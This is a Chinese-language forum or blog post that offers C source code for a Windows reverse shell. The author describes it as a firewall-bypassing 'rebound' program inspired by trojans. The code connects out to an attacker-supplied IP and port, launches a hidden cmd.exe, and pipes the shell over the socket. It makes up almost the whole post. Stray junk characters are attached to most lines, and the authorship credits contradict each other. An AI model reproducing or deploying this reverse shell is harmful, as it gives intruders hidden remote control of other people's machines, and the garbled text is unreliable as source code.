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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 t/p $  
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/* ============================== ?&c:q3_-Z  
Rebound port in Windows NT 1;r69e  
By wind,2006/7 #MgvG,  
===============================*/ Vb4;-?s_  
#include f}fsoDoQ=  
#include zQ8!rCkg4  
S`q%ypy  
#pragma comment(lib,"wsock32.lib") M'5 'O;kn  
Nw<P bklz  
void OutputShell(); SN">gmY+  
SOCKET sClient; 9%DT0.D}$j  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; 9y]J/1#  
9'KonW  
void main(int argc,char **argv) #$1$T  
{ 4E3g,%9u  
WSADATA stWsaData; ecHP &Z$  
int nRet; h'5Cp(G  
SOCKADDR_IN stSaiClient,stSaiServer; %FA@)?~  
Fvl`2W94;  
if(argc != 3) h%}( h2 W  
{ yp]@^TN  
printf("Useage:\n\rRebound DestIP DestPort\n"); .b>TK  
return;  v[,Src  
} b-<HXn_Fd  
d,F5:w&  
WSAStartup(MAKEWORD(2,2),&stWsaData); pj{\T?(  
@u9Mks|{  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XW~bu2%{7"  
aW;aA'!  
stSaiClient.sin_family = AF_INET; k onoI&kV|  
stSaiClient.sin_port = htons(0); Vz:_mKA  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tk?UX7F  
>)#c\{ c  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) S*t%RZ~a  
{ h=+$>_&:  
printf("Bind Socket Failed!\n"); ;=;JfNnbm  
return; ,0?!ov|  
} q-AN[_@  
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stSaiServer.sin_family = AF_INET; c@du2ICUc  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); bXdY\&fE  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2@i;_3sv  
cyF4iG'M,y  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 3Sh+u>w  
{ _<Dt z  
printf("Connect Error!"); eBcJm  
return; l5O=VqCj  
} o /p-!  
OutputShell(); FC>d_=V  
} #g v4  
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void OutputShell() 49h0^;xlo:  
{ ?0vNEz[  
char szBuff[1024]; AU{:;%.g  
SECURITY_ATTRIBUTES stSecurityAttributes; - q@69q  
OSVERSIONINFO stOsversionInfo; 8;zDg$ (  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; SG'JE}jzO  
STARTUPINFO stStartupInfo; aG27%(@  
char *szShell; wK*PD&nN  
PROCESS_INFORMATION stProcessInformation; ]0 ~qi@  
unsigned long lBytesRead; bBE+jqi 2  
R@`rT*lJ  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =_-C%<4  
:pZ}*?\  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &8?`<   
stSecurityAttributes.lpSecurityDescriptor = 0; Spj9H?m  
stSecurityAttributes.bInheritHandle = TRUE; kQIw/@WC  
IN!02`H  
=*MR(b>  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); vr IV%l=  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Rlw3!]5+2  
Z^_>A)<s<  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Ft-6m%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; x)viY5vjH  
stStartupInfo.wShowWindow = SW_HIDE; km 5E)_]  
stStartupInfo.hStdInput = hReadPipe; Ci\? ^  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ~j& ?/{7I  
+{-]P\oc  
GetVersionEx(&stOsversionInfo); 'mV:@].le  
VifmZ;S@Y  
switch(stOsversionInfo.dwPlatformId) MOHHZApt  
{ J r*"V`  
case 1: A 7Y_HIo  
szShell = "command.com"; P. V\ov7m2  
break; d"&3Q_2CD  
default: nQLs<]h1  
szShell = "cmd.exe"; |uUuFm  
break; {LB`)Kuu  
} )f*Iomp]@  
3,$iG e  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); qgexb\x\4  
LDQ e^  
send(sClient,szMsg,77,0); NMXM[Ukb  
while(1) 14l; *  
{ pxplWP,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); YFvgz.>QE  
if(lBytesRead) UR:n5V4  
{ aN'0} <s  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j|4tiv>  
send(sClient,szBuff,lBytesRead,0); gWu"91Y0>  
} *l!5QG UoK  
else 8=4^Lm  
{ E fSMFPM  
lBytesRead=recv(sClient,szBuff,1024,0); 4ftj>O  
if(lBytesRead<=0) break; .^H1\p];Lw  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); pqfT\Kb>  
} NG)7G   
} JtmQzr0>  
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return; _85E=  
}
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